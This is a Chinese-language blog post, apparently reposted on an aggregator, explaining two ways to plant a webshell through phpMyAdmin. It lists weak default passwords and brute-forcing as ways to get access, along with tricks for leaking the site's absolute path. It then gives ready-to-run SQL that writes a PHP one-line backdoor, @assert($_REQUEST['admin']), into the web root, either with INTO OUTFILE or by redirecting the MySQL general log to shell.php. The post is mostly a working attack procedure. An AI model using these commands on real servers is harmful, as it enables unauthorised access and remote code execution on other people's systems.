phpMyAdmin拿shell的两种方法

Posted 冰封

tags:

篇首语:本文由小常识网(cha138.com)小编为大家整理,主要介绍了phpMyAdmin拿shell的两种方法相关的知识,希望对你有一定的参考价值。

一.phpMyAdmin用户名和密码
1.如何获取phpMyAdmin用户名和密码:
弱口令
root/root
root/空密码
root/123456
phpMyAdmin爆破工具
信息泄露(配置文件等)
sql注入
等等


2.网站绝对路径,如何获取网站的绝对路径呢?
单引号爆绝对路径
xx.asp?id=1’
错误参数值爆绝对路径
xx.asp?id=-1
搜索引擎搜索绝对路径
site:xxx.com error
site:xxx.com warning
site:xxx.com fatal error
测试文件获取绝对路径
phpinfo.php
test.php
ceshi.php
info.php
php_info.php
等等

 

二.Phpmyadmin拿shell的两种方法

1.低版本mysql
Mysql低于5.0,可以直接通过outfile写入:

SELECT "<?php @assert($_REQUEST["admin"]);?>" INTO OUTFILE  \'/网站绝对路径/shell.php\'


2.高版本Mysql
(1)通过以下SQL语句可以查询secure_file_priv(secure-file-priv是全局变量,指定文件夹作为导出文件存放的地方,这个值是只读的)是否为null:

show variables like \'%secure%\'

从下图可以看到我的靶机secure_file_priv值为null:

 

(2)通过以下SQL语句可以查询到日志保存状态(ON代表开启 OFF代表关闭)和日志的保存路径:

show variables like \'%general%\'

从下图可以看到我的靶机是关闭日志保存的,还有日志保存的路径在哪:

 

(3)因此通过以下SQL语句修改general_log的值,开启日志保存:

set global general_log=\'on\';


(4)通过以下SQL语句修改日志保存的路径(general_log_file值):

SET global general_log_file=\'<网站绝对路径>/shell.php\'


(5)再次执行以下SQL语句,查询是否成功更改:

show variables like \'%general%\'

从下图可以看到,成功通过SQL语句修改成功了:

 

(6)执行以下SQL语句,以下SQL语句将会被写入到日志文件(shell.php)中:

SELECT \'<?php @assert($_REQUEST["admin"]);?>\';

从下图可以看到一句话木马写入了日志文件中: 通过URL访问,成功被执行了! 图片

 

(7)通过URL访问,成功被执行了!

 

以上是关于phpMyAdmin拿shell的两种方法的主要内容,如果未能解决你的问题,请参考以下文章

PHPMyadmin拿shell

phpmyadmin拿shell

phpmyadmin登陆错误,进去不了

通过phpmyadmin root权限拿shell

拿到shell怎样提权啊!

python中执行shell的两种方法总结